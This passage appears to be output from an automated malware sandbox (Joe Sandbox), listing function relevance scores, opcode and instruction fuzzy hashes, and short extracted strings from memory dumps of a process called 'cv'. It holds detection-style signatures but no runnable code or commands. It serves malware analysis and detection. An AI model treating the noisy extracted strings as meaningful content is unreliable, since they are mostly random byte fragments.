Snapshot File: hcaresult_0_2_6740000_cv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4331e0d587c9e7b9ede69f8316fd047e66297045989b34c043de796e4bc5ed50
Instruction ID: f98273e9c44473f8eb39f18a077706a3b3fd7a0d7a260e9ed6aa917e2a0b5511
Opcode Fuzzy Hash: 4331e0d587c9e7b9ede69f8316fd047e66297045989b34c043de796e4bc5ed50
Instruction Fuzzy Hash: 3BC09B6D6587258F73D561108D494337950E238D1935161479D854D175D310CE4347E1

Function 06742624 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2059380807.0000000006740000.00000040.00000800.00020000.00000000.sdmp, Offset: 06740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6740000_cv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6ebd4478bd60db8fc5d3b5f3f0e251ed089b640aacab369c5814b0b3e8234ab
Instruction ID: 578869b63d880d7b6971bc478486f4336d071a523569d562dfc4e48887c1627c
Opcode Fuzzy Hash: e6ebd4478bd60db8fc5d3b5f3f0e251ed089b640aacab369c5814b0b3e8234ab
Instruction Fuzzy Hash: 0EC012B08042058FC790CF208899099BEB5AB4C310F2084AA818A96720E33056948A84

Function 0674798A Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2059380807.0000000006740000.00000040.00000800.00020000.00000000.sdmp, Offset: 06740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6740000_cv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 446f42af38b39e63d2768b3f77890c6c9c0e2affd64215e9514bf47a937d777a
Instruction ID: 758906c9d8701e300d514121ead0ad9324e9a901e74bbc25120ee52047d41267
Opcode Fuzzy Hash: 446f42af38b39e63d2768b3f77890c6c9c0e2affd64215e9514bf47a937d777a
Instruction Fuzzy Hash: 4BB02238008B00C08220AFA808888A8B2B0EA80A00F000A0AC0E3833E0EBB2C2220282

Function 06C2D3EE Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2062612494.0000000006C10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c10000_cv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3824d6f1311d851402e47af270ee18036f186fc912c49150f08fda176191b0b1
Instruction ID: 08753264ca8c671a1f284d3a8481a9c991f2c295bd2d63fc57b48f1bd70c2b0f
Opcode Fuzzy Hash: 3824d6f1311d851402e47af270ee18036f186fc912c49150f08fda176191b0b1
Instruction Fuzzy Hash: 69C02B7000030FCFD3C0DF34D31889C7B34E700104F00C925C0016501EC1B85784CE95

Function 06C2C75C Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2062612494.0000000006C10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c10000_cv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8825c48d6e221ce3f4bcfd521bb10e1592c941e0286b30acf6d782923e0db4d6
Instruction ID: 071c3835f0214549944a29e77e67245dafefdc66227000a7ad5a2f45d1632f6d
Opcode Fuzzy Hash: 8825c48d6e221ce3f4bcfd521bb10e1592c941e0286b30acf6d782923e0db4d6
Instruction Fuzzy Hash: B5C02B351C01018FC340CA00E9A54457B63DB90200B058083F50E4B024CF309E41CBC0

Function 0141B8CF Relevance: .0, Instructions: 3COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2033459714.0000000001410000.00000040.00000800.00020000.00000000.sdmp, Offset: 01410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1410000_cv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9819aeadab15d68fc827a15be540dc89325bd3a28277f8b35171477fc97df383
Instruction ID: 7bb2f75bf8715eec36f322fa6bb2b7c660dbbf9e28c44165e615406981e86c4f
Opcode Fuzzy Hash: 9819aeadab15d68fc827a15be540dc89325bd3a28277f8b35171477fc97df383
Instruction Fuzzy Hash: B6A00230994081CACE175774A918789BF746F91691F0E4BF390458D5238A100D98C640

Non-executed Functions

Function 06BC0006 Relevance: 118.2, Strings: 88, Instructions: 8163COMMON

Download Yara Rule

Strings

&|n+, xrefs: 06BC27E9
ioJl, xrefs: 06BC03C2
T{0x, xrefs: 06BC5A2A
^"v|, xrefs: 06BC51AB
9jXF, xrefs: 06BC520B
A=P3, xrefs: 06BC356F
2p!, xrefs: 06BC18AF
tY%\, xrefs: 06BC2313
c_z, xrefs: 06BC28E2
tY%\, xrefs: 06BC620C
TInC, xrefs: 06BC1881
T{0x, xrefs: 06BC1B31
~f, xrefs: 06BC161C
{$]M, xrefs: 06BC1E26
_%]&, xrefs: 06BC235C
p, xrefs: 06BC7972
43q, xrefs: 06BC3F02
*,7, xrefs: 06BC5EF5
TTC, xrefs: 06BC4FEC
+^], xrefs: 06BC7B6B
<i$, xrefs: 06BC15FE
9jXF, xrefs: 06BC1312
XkC`, xrefs: 06BC5D3B
wsC=, xrefs: 06BC66FA
'Ob, xrefs: 06BC3767
/lEC, xrefs: 06BC6ADD
^"v|, xrefs: 06BC12B2
+^], xrefs: 06BC3C72
A=P3, xrefs: 06BC7468
sR=, xrefs: 06BC438D
p, xrefs: 06BC3A79
s_G, xrefs: 06BC1351
&U$?, xrefs: 06BC7225
s_G, xrefs: 06BC524A
*,7, xrefs: 06BC1FFC
G1, xrefs: 06BC3632
5lz, xrefs: 06BC2FDC
1%d, xrefs: 06BC7A87
O:, xrefs: 06BC6DF3
)N$F, xrefs: 06BC5AC2
/lEC, xrefs: 06BC2BE4
KnV+, xrefs: 06BC180E
<i$, xrefs: 06BC54F7
O:, xrefs: 06BC2EFA
'Ob, xrefs: 06BC7660
G1, xrefs: 06BC752B
KnV+, xrefs: 06BC5707
5lz, xrefs: 06BC6ED5
XkC`, xrefs: 06BC1E42
wsC=, xrefs: 06BC2801
Ohy{, xrefs: 06BC22DA
{F, xrefs: 06BC1CA1
&|n+, xrefs: 06BC66E2
_%]&, xrefs: 06BC6255
2p!, xrefs: 06BC57A8
T`2W, xrefs: 06BC33C9
J,QT, xrefs: 06BC6582
1%d, xrefs: 06BC3B8E
TInC, xrefs: 06BC577A
pP{$, xrefs: 06BC71B6
1:5A, xrefs: 06BC653F
z, xrefs: 06BC59A9
T`2W, xrefs: 06BC72C2
=Gtg, xrefs: 06BC26CA
&5t, xrefs: 06BC3BCF
TTC, xrefs: 06BC10F3
Yt_, xrefs: 06BC3E10
=Gtg, xrefs: 06BC65C3
J,QT, xrefs: 06BC2689
)N$F, xrefs: 06BC1BC9
Yt_, xrefs: 06BC7D09
=9y2, xrefs: 06BC0EED
1:5A, xrefs: 06BC2646
sR=, xrefs: 06BC049A
=9y2, xrefs: 06BC4DE6
&5t, xrefs: 06BC7AC8
)O, xrefs: 06BC4943
ioJl, xrefs: 06BC42B5
{$]M, xrefs: 06BC5D1F
c_z, xrefs: 06BC67DB
0/10 10:47:42.20312/13 12:27:35.629,1752,100007,AlpcSvr,state,wait12/13 12:27:35.629,1752,100007,AlpcSvr,state,valid12/13 12:27:35.629,1752,100002,FcServer,notify12/13 12:27:35.629,1752,200003,DownMgr,notify12/13 12:27:35.629,1752,100002,FcServer,nextTime, xrefs: 06BC0F4B, 06BC4E44
pP{$, xrefs: 06BC32BD
&U$?, xrefs: 06BC332C
)O, xrefs: 06BC0A4A
{F, xrefs: 06BC5B9A
~f, xrefs: 06BC5515
Ohy{, xrefs: 06BC61D3
z, xrefs: 06BC1AB0

Memory Dump Source

Source File: 00000000.00000002.2062239659.0000000006BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6bc0000_cv.jbxd

Similarity

API ID:
String ID: +^]$+^]$5lz$5lz$ z$ z$&5t$&5t$&U$?$&U$?$&|n+$&|n+$'Ob$'Ob$)N$F$)N$F$)O$)O$*,7$*,7$/lEC$/lEC$0/10 10:47:42.20312/13 12:27:35.629,1752,100007,AlpcSvr,state,wait12/13 12:27:35.629,1752,100007,AlpcSvr,state,valid12/13 12:27:35.629,1752,100002,FcServer,notify12/13 12:27:35.629,1752,200003,DownMgr,notify12/13 12:27:35.629,1752,100002,FcServer,nextTime$1%d$1%d$1:5A$1:5A$2p!$2p!$43q$9jXF$9jXF$<i$$<i$$=9y2$=9y2$=Gtg$=Gtg$A=P3$A=P3$J,QT$J,QT$KnV+$KnV+$Ohy{$Ohy{$O:$O:$TInC$TInC$T`2W$T`2W$T{0x$T{0x$TTC$TTC$XkC`$XkC`$Yt_$Yt_$^"v|$^"v|$_%]&$_%]&$c_z$c_z$ioJl$ioJl$pP{$$pP{$$p$p$sR=$sR=$s_G$s_G$tY%\$tY%\$wsC=$wsC=${$]M${$]M${F${F$~f$~f$G1$G1
API String ID: 0-3966943662
Opcode ID: 5e254ba5ee1f117ce2f1040a905e9fb933eb2588d6e596bb9c100335e62dd5c3
Instruction ID: 67d52dad960811379c8deb388af78e4fd052e0b37db872c3460e621e5634fbe2
Opcode Fuzzy Hash: 5e254ba5ee1f117ce2f1040a905e9fb933eb2588d6e596bb9c100335e62dd5c3
Instruction Fuzzy Hash: F1D3F775B4121A4FD75CCE2DCD912A6A6E76BCD300B54E2BE440ADF398EE34DE468B40

Function 06BC3EF3 Relevance: 118.1, Strings: 88, Instructions: 8127COMMON

Download Yara Rule

Strings

&|n+, xrefs: 06BC27E9
ioJl, xrefs: 06BC03C2
T{0x, xrefs: 06BC5A2A
^"v|, xrefs: 06BC51AB
9jXF, xrefs: 06BC520B
A=P3, xrefs: 06BC356F
2p!, xrefs: 06BC18AF
tY%\, xrefs: 06BC2313
c_z, xrefs: 06BC28E2
tY%\, xrefs: 06BC620C
TInC, xrefs: 06BC1881
T{0x, xrefs: 06BC1B31
~f, xrefs: 06BC161C
{$]M, xrefs: 06BC1E26
_%]&, xrefs: 06BC235C
p, xrefs: 06BC7972
43q, xrefs: 06BC3F02
*,7, xrefs: 06BC5EF5
TTC, xrefs: 06BC4FEC
+^], xrefs: 06BC7B6B
<i$, xrefs: 06BC15FE
9jXF, xrefs: 06BC1312
XkC`, xrefs: 06BC5D3B
wsC=, xrefs: 06BC66FA
'Ob, xrefs: 06BC3767
/lEC, xrefs: 06BC6ADD
^"v|, xrefs: 06BC12B2
+^], xrefs: 06BC3C72
A=P3, xrefs: 06BC7468
sR=, xrefs: 06BC438D
p, xrefs: 06BC3A79
s_G, xrefs: 06BC1351
&U$?, xrefs: 06BC7225
s_G, xrefs: 06BC524A
*,7, xrefs: 06BC1FFC
G1, xrefs: 06BC3632
5lz, xrefs: 06BC2FDC
1%d, xrefs: 06BC7A87
O:, xrefs: 06BC6DF3
)N$F, xrefs: 06BC5AC2
/lEC, xrefs: 06BC2BE4
KnV+, xrefs: 06BC180E
<i$, xrefs: 06BC54F7
O:, xrefs: 06BC2EFA
'Ob, xrefs: 06BC7660
G1, xrefs: 06BC752B
KnV+, xrefs: 06BC5707
5lz, xrefs: 06BC6ED5
XkC`, xrefs: 06BC1E42
wsC=, xrefs: 06BC2801
Ohy{, xrefs: 06BC22DA
{F, xrefs: 06BC1CA1
&|n+, xrefs: 06BC66E2
_%]&, xrefs: 06BC6255
2p!, xrefs: 06BC57A8
T`2W, xrefs: 06BC33C9
J,QT, xrefs: 06BC6582
1%d, xrefs: 06BC3B8E
TInC, xrefs: 06BC577A
pP{$, xrefs: 06BC71B6
1:5A, xrefs: 06BC653F
z, xrefs: 06BC59A9
T`2W, xrefs: 06BC72C2
=Gtg, xrefs: 06BC26CA
&5t, xrefs: 06BC3BCF
TTC, xrefs: 06BC10F3
Yt_, xrefs: 06BC3E10
=Gtg, xrefs: 06BC65C3
J,QT, xrefs: 06BC2689
)N$F, xrefs: 06BC1BC9
Yt_, xrefs: 06BC7D09
=9y2, xrefs: 06BC0EED
1:5A, xrefs: 06BC2646
sR=, xrefs: 06BC049A
=9y2, xrefs: 06BC4DE6
&5t, xrefs: 06BC7AC8
)O, xrefs: 06BC4943
ioJl, xrefs: 06BC42B5
{$]M, xrefs: 06BC5D1F
c_z, xrefs: 06BC67DB
0/10 10:47:42.20312/13 12:27:35.629,1752,100007,AlpcSvr,state,wait12/13 12:27:35.629,1752,100007,AlpcSvr,state,valid12/13 12:27:35.629,1752,100002,FcServer,notify12/13 12:27:35.629,1752,200003,DownMgr,notify12/13 12:27:35.629,1752,100002,FcServer,nextTime, xrefs: 06BC0F4B, 06BC4E44
pP{$, xrefs: 06BC32BD
&U$?, xrefs: 06BC332C
)O, xrefs: 06BC0A4A
{F, xrefs: 06BC5B9A
~f, xrefs: 06BC5515
Ohy{, xrefs: 06BC61D3
z, xrefs: 06BC1AB0

Memory Dump Source

Source File: 00000000.00000002.2062239659.0000000006BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6bc0000_cv.jbxd

Similarity

API ID:
String ID: +^]$+^]$5lz$5lz$ z$ z$&5t$&5t$&U$?$&U$?$&|n+$&|n+$'Ob$'Ob$)N$F$)N$F$)O$)O$*,7$*,7$/lEC$/lEC$0/10 10:47:42.20312/13 12:27:35.629,1752,100007,AlpcSvr,state,wait12/13 12:27:35.629,1752,100007,AlpcSvr,state,valid12/13 12:27:35.629,1752,100002,FcServer,notify12/13 12:27:35.629,1752,200003,DownMgr,notify12/13 12:27:35.629,1752,100002,FcServer,nextTime$1%d$1%d$1:5A$1:5A$2p!$2p!$43q$9jXF$9jXF$<i$$<i$$=9y2$=9y2$=Gtg$=Gtg$A=P3$A=P3$J,QT$J,QT$KnV+$KnV+$Ohy{$Ohy{$O:$O:$TInC$TInC$T`2W$T`2W$T{0x$T{0x$TTC$TTC$XkC`$XkC`$Yt_$Yt_$^"v|$^"v|$_%]&$_%]&$c_z$c_z$ioJl$ioJl$pP{$$pP{$$p$p$sR=$sR=$s_G$s_G$tY%\$tY%\$wsC=$wsC=${$]M${$]M${F${F$~f$~f$G1$G1
API String ID: 0-3966943662
Opcode ID: c7e701673f1a82c3da106875b0444922a8a22d2b5575f4a7d0d196ad2e9a02c2
Instruction ID: f3e412de296b3f28574b99d682bd6a59268bfaafaf7a5860ed0f279ec55880cc
Opcode Fuzzy Hash: c7e701673f1a82c3da106875b0444922a8a22d2b5575f4a7d0d196ad2e9a02c2
Instruction Fuzzy Hash: 86D3F775B4121A4FD75CCE2ECD912A6A6E76BCD300B54E2BE440ADF398EE34DE464B40

Function 06BCC2E5 Relevance: 116.9, Strings: 87, Instructions: 8158COMMON

Download Yara Rule

Strings

=Gtg, xrefs: 06BCEA44
TTC, xrefs: 06BC94E0
~f, xrefs: 06BC9A09
TInC, xrefs: 06BCDBFB
sR=, xrefs: 06BCC80E
T`2W, xrefs: 06BCB7B6
s_G, xrefs: 06BCD6CB
{$]M, xrefs: 06BCA213
p, xrefs: 06BCBE66
s_G, xrefs: 06BC973E
'Ob, xrefs: 06BCFAE1
)N$F, xrefs: 06BCDF43
Yt_, xrefs: 06BD018A
+^], xrefs: 06BCC05F
=9y2, xrefs: 06BCD267
ioJl, xrefs: 06BCC736
&5t, xrefs: 06BCFF49
pP{$, xrefs: 06BCB6AA
Yt_, xrefs: 06BCC1FD
{F, xrefs: 06BCE01B
1%d, xrefs: 06BCBF7B
Ohy{, xrefs: 06BCE654
TTC, xrefs: 06BCD46D
=Gtg, xrefs: 06BCAAB7
_%]&, xrefs: 06BCA749
&U$?, xrefs: 06BCB719
J,QT, xrefs: 06BCAA76
^"v|, xrefs: 06BC969F
9jXF, xrefs: 06BC96FF
XkC`, xrefs: 06BCE1BC
*,7, xrefs: 06BCA3E9
2p!, xrefs: 06BCDC29
)N$F, xrefs: 06BC9FB6
{$]M, xrefs: 06BCE1A0
&|n+, xrefs: 06BCABD6
p, xrefs: 06BCFDF3
<i$, xrefs: 06BCD978
1:5A, xrefs: 06BCE9C0
{F, xrefs: 06BCA08E
T`2W, xrefs: 06BCF743
z, xrefs: 06BC9E9D
*,7, xrefs: 06BCE376
_%]&, xrefs: 06BCE6D6
O:, xrefs: 06BCF274
KnV+, xrefs: 06BCDB88
=9y2, xrefs: 06BC92DA
~f, xrefs: 06BCD996
<i$, xrefs: 06BC99EB
tY%\, xrefs: 06BCE68D
)O, xrefs: 06BCCDC4
&5t, xrefs: 06BCBFBC
c_z, xrefs: 06BCACCF
G1, xrefs: 06BCBA1F
9jXF, xrefs: 06BCD68C
z, xrefs: 06BCDE2A
T{0x, xrefs: 06BCDEAB
/lEC, xrefs: 06BCAFD1
pP{$, xrefs: 06BCF637
J,QT, xrefs: 06BCEA03
&U$?, xrefs: 06BCF6A6
A=P3, xrefs: 06BCF8E9
sR=, xrefs: 06BC8881
/lEC, xrefs: 06BCEF5E
O:, xrefs: 06BCB2E7
KnV+, xrefs: 06BC9BFB
XkC`, xrefs: 06BCA22F
T{0x, xrefs: 06BC9F1E
A=P3, xrefs: 06BCB95C
wsC=, xrefs: 06BCEB7B
wsC=, xrefs: 06BCABEE
tY%\, xrefs: 06BCA700
1%d, xrefs: 06BCFF08
^"v|, xrefs: 06BCD62C
c_z, xrefs: 06BCEC5C
ioJl, xrefs: 06BC87A9
&|n+, xrefs: 06BCEB63
2p!, xrefs: 06BC9C9C
5lz, xrefs: 06BCB3C9
+^], xrefs: 06BCFFEC
TInC, xrefs: 06BC9C6E
0/10 10:47:42.20312/13 12:27:35.629,1752,100007,AlpcSvr,state,wait12/13 12:27:35.629,1752,100007,AlpcSvr,state,valid12/13 12:27:35.629,1752,100002,FcServer,notify12/13 12:27:35.629,1752,200003,DownMgr,notify12/13 12:27:35.629,1752,100002,FcServer,nextTime, xrefs: 06BC9338, 06BCD2C5
'Ob, xrefs: 06BCBB54
G1, xrefs: 06BCF9AC
1:5A, xrefs: 06BCAA33
Ohy{, xrefs: 06BCA6C7
)O, xrefs: 06BC8E37
5lz, xrefs: 06BCF356

Memory Dump Source

Source File: 00000000.00000002.2062239659.0000000006BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6bc0000_cv.jbxd

Similarity

API ID:
String ID: +^]$+^]$5lz$5lz$ z$ z$&5t$&5t$&U$?$&U$?$&|n+$&|n+$'Ob$'Ob$)N$F$)N$F$)O$)O$*,7$*,7$/lEC$/lEC$0/10 10:47:42.20312/13 12:27:35.629,1752,100007,AlpcSvr,state,wait12/13 12:27:35.629,1752,100007,AlpcSvr,state,valid12/13 12:27:35.629,1752,100002,FcServer,notify12/13 12:27:35.629,1752,200003,DownMgr,notify12/13 12:27:35.629,1752,100002,FcServer,nextTime$1%d$1%d$1:5A$1:5A$2p!$2p!$9jXF$9jXF$<i$$<i$$=9y2$=9y2$=Gtg$=Gtg$A=P3$A=P3$J,QT$J,QT$KnV+$KnV+$Ohy{$Ohy{$O:$O:$TInC$TInC$T`2W$T`2W$T{0x$T{0x$TTC$TTC$XkC`$XkC`$Yt_$Yt_$^"v|$^"v|$_%]&$_%]&$c_z$c_z$ioJl$ioJl$pP{$$pP{$$p$p$sR=$sR=$s_G$s_G$tY%\$tY%\$wsC=$wsC=${$]M${$]M${F${F$~f$~f$G1$G1
API String ID: 0-2728888523
Opcode ID: ffdb69f364e81c187d7a58114211882138d1fd4bdae255adaf6ea2e5319449cc
Instruction ID: 3216a8b947ae02c7bc188125325681249270933fdd7fb5bf14f2149b455d2969
Opcode Fuzzy Hash: ffdb69f364e81c187d7a58114211882138d1fd4bdae255adaf6ea2e5319449cc
Instruction Fuzzy Hash: 56E32779B4021A4FDB5CCE2ECD912A5A6E7ABCC300B54E6BE440EDF798DE349D464B40

Function 06D20007 Relevance: 23.9, Strings: 18, Instructions: 1371COMMON

Download Yara Rule

Strings

)3g, xrefs: 06D20C20
t*", xrefs: 06D202B5
1[uf, xrefs: 06D201CB
]Cz, xrefs: 06D200AF
I#/4, xrefs: 06D21109
Zl, xrefs: 06D2019B
aoa, xrefs: 06D20F5E
^"1, xrefs: 06D20D6D
}T|, xrefs: 06D20B84
? ?", xrefs: 06D20598
hz, xrefs: 06D2079C
~;, xrefs: 06D20232
Q~5, xrefs: 06D20534
!7T, xrefs: 06D20985
-yVt, xrefs: 06D20E7A
)fM6, xrefs: 06D203A7
`6b, xrefs: 06D202FE
3/Pm, xrefs: 06D20FF2

Memory Dump Source

Source File: 00000000.00000002.2062855664.0000000006D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_cv.jbxd

Similarity

API ID:
String ID: t*"$!7T$)fM6$)3g$-yVt$1[uf$3/Pm$? ?"$I#/4$Q~5$]Cz$^"1$`6b$aoa$~;$Zl$}T|$hz
API String ID: 0-2961506840
Opcode ID: da508c9e953177e4f84d085ea78250cf90462205f83143f72136c3e53bef0f96
Instruction ID: d706426af264ab8889e7b153f019810ef7ef101078e24e16708254aa1d332913
Opcode Fuzzy Hash: da508c9e953177e4f84d085ea78250cf90462205f83143f72136c3e53bef0f96
Instruction Fuzzy Hash: 18B21979B0021A4FDB4CCE7DC9916A9BAE76BCD300B54E17E540ADF399DE349D068B40

Function 06D20040 Relevance: 23.9, Strings: 18, Instructions: 1353COMMON

Download Yara Rule

Strings

)3g, xrefs: 06D20C20
t*", xrefs: 06D202B5
1[uf, xrefs: 06D201CB
]Cz, xrefs: 06D200AF
I#/4, xrefs: 06D21109
Zl, xrefs: 06D2019B
aoa, xrefs: 06D20F5E
^"1, xrefs: 06D20D6D
}T|, xrefs: 06D20B84
? ?", xrefs: 06D20598
hz, xrefs: 06D2079C
~;, xrefs: 06D20232
Q~5, xrefs: 06D20534
!7T, xrefs: 06D20985
-yVt, xrefs: 06D20E7A
)fM6, xrefs: 06D203A7
`6b, xrefs: 06D202FE
3/Pm, xrefs: 06D20FF2

Memory Dump Source

Source File: 00000000.00000002.2062855664.0000000006D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_cv.jbxd

Similarity

API ID:
String ID: t*"$!7T$)fM6$)3g$-yVt$1[uf$3/Pm$? ?"$I#/4$Q~5$]Cz$^"1$`6b$aoa$~;$Zl$}T|$hz
API String ID: 0-2961506840
Opcode ID: b3d4b4b695a178d0d42f7a8f0c872b754e2dc8059e17d399583226e48dbc58fd
Instruction ID: 97117a1a06f9e2e0b9a7d20cd8a16b0a9230368961203fbfc53c187538fd8b61
Opcode Fuzzy Hash: b3d4b4b695a178d0d42f7a8f0c872b754e2dc8059e17d399583226e48dbc58fd
Instruction Fuzzy Hash: F4A2F979B4021A4FDB5CCE7EC9916A9A6E7ABCC300B54E17E540EDF398DE349D068B40

Function 06740007 Relevance: 16.0, Strings: 12, Instructions: 1034COMMON

Download Yara Rule

Strings

a , xrefs: 067404F2
/~f, xrefs: 0674073A
1Kf, xrefs: 0674079E
-di@, xrefs: 06740200
xbT%, xrefs: 06740B71
kqL , xrefs: 06740D26
='BI, xrefs: 06740DBA
IyN, xrefs: 067402A1
hqN, xrefs: 0674088C
?p,, xrefs: 067409F7
O7T", xrefs: 0674086E
1*A, xrefs: 06740AB5

Memory Dump Source

Source File: 00000000.00000002.2059380807.0000000006740000.00000040.00000800.00020000.00000000.sdmp, Offset: 06740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6740000_cv.jbxd

Similarity

API ID:
String ID: -di@$/~f$1*A$1Kf$='BI$?p,$IyN$O7T"$a $hqN$kqL $xbT%
API String ID: 0-796959905
Opcode ID: 3cacca52906af7aa0a2f2732a1590fe370dabfde7cdda798602c42c6e4e33c59
Instruction ID: ed800893fdd7414829de8c4a668b3cee618992406584120eda039d7821dbbb13
Opcode Fuzzy Hash: 3cacca52906af7aa0a2f2732a1590fe370dabfde7cdda798602c42c6e4e33c59
Instruction Fuzzy Hash: 9D822879B4121A4FDB5CCE2DCD912A5AAE76BCD300B44E2BE840EDF398DE349D458B40

Function 06740040 Relevance: 16.0, Strings: 12, Instructions: 1012COMMON

Download Yara Rule

Strings

a , xrefs: 067404F2
/~f, xrefs: 0674073A
1Kf, xrefs: 0674079E
-di@, xrefs: 06740200
xbT%, xrefs: 06740B71
kqL , xrefs: 06740D26
='BI, xrefs: 06740DBA
IyN, xrefs: 067402A1
hqN, xrefs: 0674088C
?p,, xrefs: 067409F7
O7T", xrefs: 0674086E
1*A, xrefs: 06740AB5

Memory Dump Source

Source File: 00000000.00000002.2059380807.0000000006740000.00000040.00000800.00020000.00000000.sdmp, Offset: 06740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6740000_cv.jbxd

Similarity

API ID:
String ID: -di@$/~f$1*A$1Kf$='BI$?p,$IyN$O7T"$a $hqN$kqL $xbT%
API String ID: 0-796959905
Opcode ID: 4d3b74dc6e4d1dca571b145cab753ad9da9d2f8d54502fed8df99e770467a303
Instruction ID: 9ead4843558169abc599176ed1887d48cc55745e687f01a9bdede5b61a78c882
Opcode Fuzzy Hash: 4d3b74dc6e4d1dca571b145cab753ad9da9d2f8d54502fed8df99e770467a303
Instruction Fuzzy Hash: 3B721879B4121A4FDB5CCE2EC9912A9A6E76BCD300F44E2BE450EDF398DE349E454A40

Function 06D38630 Relevance: 13.1, Strings: 10, Instructions: 562COMMON

Download Yara Rule

Strings

-n?g, xrefs: 06D38B3B
"Y, xrefs: 06D38CAE
q'{;, xrefs: 06D38775
@Z@, xrefs: 06D38D6A
,C, xrefs: 06D390FF
&#, xrefs: 06D38E19
k~$, xrefs: 06D391C2
y.SV, xrefs: 06D38D3A
9ri, xrefs: 06D38A5B
]to>, xrefs: 06D388F0

Memory Dump Source

Source File: 00000000.00000002.2062855664.0000000006D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_cv.jbxd

Similarity

API ID:
String ID: &#$"Y$-n?g$9ri$@Z@$]to>$k~$$q'{;$y.SV$,C
API String ID: 0-2571772708
Opcode ID: 6c84a145c84bef7c77f7cb83a23ed71cc44dc5ddf1530a2f331afd614ac9147b
Instruction ID: 3652b3e8b80b7e8bd5e2cbd89cba6b2af574fd39d81452abe39bdabddeb7a90a
Opcode Fuzzy Hash: 6c84a145c84bef7c77f7cb83a23ed71cc44dc5ddf1530a2f331afd614ac9147b
Instruction Fuzzy Hash: 07428CB5E4122A8FDB64CF69CD857DDBBB2BB89300F5582D9840DAB314DB349E818F40

Function 0674DAD8 Relevance: 10.7, Strings: 8, Instructions: 685COMMON

Download Yara Rule

Strings

=gnz, xrefs: 0674E17E
8]Sk, xrefs: 0674E14C
=MB, xrefs: 0674E1EC
=MB, xrefs: 0674DB9A
F0, xrefs: 0674DCA1
=gnz, xrefs: 0674DB4A
8]Sk, xrefs: 0674DB27
F0, xrefs: 0674E2F3

Memory Dump Source

Source File: 00000000.00000002.2059380807.0000000006740000.00000040.00000800.00020000.00000000.sdmp, Offset: 06740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6740000_cv.jbxd

Similarity

API ID:
String ID: =MB$=MB$8]Sk$8]Sk$=gnz$=gnz$F0$F0
API String ID: 0-3354403800
Opcode ID: 9b2643638ff0801fd03409d499a616da03395976b60bb599980e4bbf5bceb275
Instruction ID: 2c53a56dee4432b7570a9aec9982a5402adcc56852ea5ab79922ec5f1159ce75
Opcode Fuzzy Hash: 9b2643638ff0801fd03409d499a616da03395976b60bb599980e4bbf5bceb275
Instruction Fuzzy Hash: 57729AB5E012298FDB64DF69CD9979DBBB2BB84300F5086D9C409AB354DB348E81CF84

Function 0832ECE8 Relevance: 10.6, Strings: 8, Instructions: 591COMMON

Download Yara Rule

Strings

lg}i, xrefs: 0832F16D
i0A, xrefs: 0832ED93
SU, xrefs: 0832F442
pI, xrefs: 0832EDC0
+, xrefs: 0832EE6A
i9"}, xrefs: 0832F49F
M**, xrefs: 0832EDE8
B>:\, xrefs: 0832F470

Memory Dump Source

Source File: 00000000.00000002.2078247338.0000000008320000.00000040.00000800.00020000.00000000.sdmp, Offset: 08320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8320000_cv.jbxd

Similarity

API ID:
String ID: +$B>:\$M**$SU$i9"}$i0A$lg}i$pI
API String ID: 0-3355522061
Opcode ID: 89b487babcbbed853e1f6aecfc9ff846d572a853326c8cc71bb9a2a9324460b7
Instruction ID: b7d7cc6fbfe8ff8e6b26967b884a31897d454ec140fd5ae14930a5bd3a894835
Opcode Fuzzy Hash: 89b487babcbbed853e1f6aecfc9ff846d572a853326c8cc71bb9a2a9324460b7
Instruction Fuzzy Hash: 4E526BB5E4122E8FDB64CF69CD857DDBBB2BB89300F5492D9840DAB354DB349A818F40

Function 08320027 Relevance: 9.0, Strings: 7, Instructions: 277COMMON

Download Yara Rule

Strings

*M(B, xrefs: 0832025F
xtS4, xrefs: 083204BD
O%C, xrefs: 0832008A
>+XY, xrefs: 083202E1
NG%K, xrefs: 08320269
hu/C, xrefs: 083204E1
/, xrefs: 083200E5

Memory Dump Source

Source File: 00000000.00000002.2078247338.0000000008320000.00000040.00000800.00020000.00000000.sdmp, Offset: 08320000, based on PE: false

Joe Sandbox IDA Plugin
